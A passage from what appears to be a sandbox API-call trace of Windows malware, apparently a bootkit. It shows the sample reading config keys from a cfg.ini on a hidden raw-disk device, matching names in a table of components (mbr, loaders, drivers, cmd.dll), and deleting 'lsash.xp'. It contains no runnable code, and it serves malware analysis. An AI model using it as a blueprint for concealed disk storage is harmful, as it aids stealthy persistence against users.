KeLeaveCriticalRegion () [0125.044] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.044] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.044] KeEnterCriticalRegion () [0125.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.044] ExFreePoolWithTag (P=0xfffffa8003bf5fb0, Tag=0x0) [0125.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.044] KeLeaveCriticalRegion () [0125.044] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.045] ReleaseMutex (hMutex=0xf0) returned 1 [0125.045] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.045] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.045] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.045] KeEnterCriticalRegion () [0125.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.045] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.045] IdePortDispatch () returned 0x103 [0125.045] KeWaitForMutexObject () returned 0x0 [0125.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.045] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.045] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.045] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.045] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.045] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5d50 [0125.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.045] KeLeaveCriticalRegion () [0125.045] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.045] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.045] KeEnterCriticalRegion () [0125.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.045] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.045] KeLeaveCriticalRegion () [0125.045] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.045] KeEnterCriticalRegion () [0125.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.045] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.045] IdePortDispatch () returned 0x103 [0125.045] KeWaitForMutexObject () returned 0x0 [0125.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.046] KeLeaveCriticalRegion () [0125.046] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.046] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.046] KeEnterCriticalRegion () [0125.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b16000 [0125.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.046] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.046] IdePortDispatch () returned 0x103 [0125.046] KeWaitForMutexObject () returned 0x0 [0125.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.046] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.046] IdePortDispatch () returned 0x103 [0125.046] KeWaitForMutexObject () returned 0x0 [0125.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.046] KeLeaveCriticalRegion () [0125.046] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.047] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.047] KeEnterCriticalRegion () [0125.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.047] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.047] KeLeaveCriticalRegion () [0125.047] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.047] KeEnterCriticalRegion () [0125.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.047] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.047] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.047] KeLeaveCriticalRegion () [0125.047] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.047] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.047] KeEnterCriticalRegion () [0125.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.047] ExFreePoolWithTag (P=0xfffffa8003bf5d50, Tag=0x0) [0125.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.047] KeLeaveCriticalRegion () [0125.047] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.047] ReleaseMutex (hMutex=0xf0) returned 1 [0125.047] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.047] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.047] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.048] KeEnterCriticalRegion () [0125.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.048] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.048] IdePortDispatch () returned 0x103 [0125.048] KeWaitForMutexObject () returned 0x0 [0125.048] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.048] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.048] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.048] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.048] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.048] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5ca0 [0125.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.048] KeLeaveCriticalRegion () [0125.048] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.048] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.048] KeEnterCriticalRegion () [0125.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.048] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.048] KeLeaveCriticalRegion () [0125.048] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.048] KeEnterCriticalRegion () [0125.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.048] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.048] IdePortDispatch () returned 0x103 [0125.048] KeWaitForMutexObject () returned 0x0 [0125.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.049] KeLeaveCriticalRegion () [0125.049] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.049] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.049] KeEnterCriticalRegion () [0125.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.049] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b17000 [0125.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.049] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.049] IdePortDispatch () returned 0x103 [0125.049] KeWaitForMutexObject () returned 0x0 [0125.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.049] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.049] IdePortDispatch () returned 0x103 [0125.049] KeWaitForMutexObject () returned 0x0 [0125.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.049] KeLeaveCriticalRegion () [0125.049] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.050] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.050] KeEnterCriticalRegion () [0125.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.050] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.050] KeLeaveCriticalRegion () [0125.050] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.050] KeEnterCriticalRegion () [0125.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.050] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.050] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be92d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.050] KeLeaveCriticalRegion () [0125.050] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.050] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.050] KeEnterCriticalRegion () [0125.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.050] ExFreePoolWithTag (P=0xfffffa8003bf5ca0, Tag=0x0) [0125.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.050] KeLeaveCriticalRegion () [0125.050] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.050] ReleaseMutex (hMutex=0xf0) returned 1 [0125.050] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.050] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.050] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.050] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.051] KeEnterCriticalRegion () [0125.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.051] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.051] IdePortDispatch () returned 0x103 [0125.051] KeWaitForMutexObject () returned 0x0 [0125.051] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.051] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.051] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.051] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.051] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.051] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.051] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.051] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.051] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.051] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.051] KeLeaveCriticalRegion () [0125.051] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.051] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.051] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.051] KeEnterCriticalRegion () [0125.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.051] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.051] IdePortDispatch () returned 0x103 [0125.051] KeWaitForMutexObject () returned 0x0 [0125.052] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.052] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.052] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.052] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.052] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.052] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.052] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.052] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.052] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.052] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.052] KeLeaveCriticalRegion () [0125.052] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.052] ReleaseMutex (hMutex=0x100) returned 1 [0125.052] Sleep (dwMilliseconds=0x2bf20) [0125.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dbd8730, dwHighDateTime=0x1d24fa4)) [0125.058] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.058] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.058] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.058] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.058] KeEnterCriticalRegion () [0125.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.058] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.058] IdePortDispatch () returned 0x103 [0125.059] KeWaitForMutexObject () returned 0x0 [0125.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.059] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.059] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.059] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.059] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.059] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5f60 [0125.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.059] KeLeaveCriticalRegion () [0125.059] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.059] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.059] KeEnterCriticalRegion () [0125.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.059] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.059] KeLeaveCriticalRegion () [0125.059] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.059] KeEnterCriticalRegion () [0125.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.059] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.059] IdePortDispatch () returned 0x103 [0125.059] KeWaitForMutexObject () returned 0x0 [0125.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.059] KeLeaveCriticalRegion () [0125.059] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.060] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.060] KeEnterCriticalRegion () [0125.060] ExAcquireFastMutexUnsafe (in: 